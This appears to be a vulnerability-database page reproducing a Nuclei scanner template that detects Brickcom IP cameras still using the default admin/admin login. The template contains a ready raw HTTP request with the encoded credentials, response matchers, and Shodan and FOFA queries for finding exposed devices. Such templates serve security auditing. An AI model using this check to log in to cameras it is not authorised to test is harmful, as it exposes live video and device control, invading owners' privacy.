brickcom-camera-default-login: Brickcom Camera - Default Login

2026-03-25 Brickcom Camera PoC Public

Description

Detected Brickcom IP cameras accessible using default credentials (admin/admin). Successful authentication exposed full camera configuration, live video streams, LED control, and network settings to remote attackers.

PoC

id: brickcom-camera-default-login

info:
  name: Brickcom Camera - Default Login
  author: 0x_Akoko
  severity: high
  description: |
    Detected Brickcom IP cameras accessible using default credentials (admin/admin). Successful authentication exposed full camera configuration, live video streams, LED control, and network settings to remote attackers.
  reference:
    - https://www.brickcom.com/support/faq_contents.php?id=48
    - https://cxsecurity.com/issue/WLB-2026020031
  metadata:
    verified: true
    max-request: 1
    shodan-query: 'realm="Brickcom"'
    fofa-query: 'title="Brickcom"'
  tags: iot,camera,default-login

http:
  - raw:
      - |
        GET /index_mjpg.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        condition: and
        words:
          - "var viewer='admin'"
          - "Brickcom Corporation"
          - "wledctl.cgi"
# digest: 4a0a00473045022100f3737dc67d550f80eb388c9f49c7bb56ec6f4cc354d6a006385ded0abd8fc39d0220016595065264a6e7a8ad08568a2fc8ac30fdb0edbe3c5e94df486100fb380ce8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/default-logins/brickcom-camera-default-login.yaml

References

Related Vulnerabilities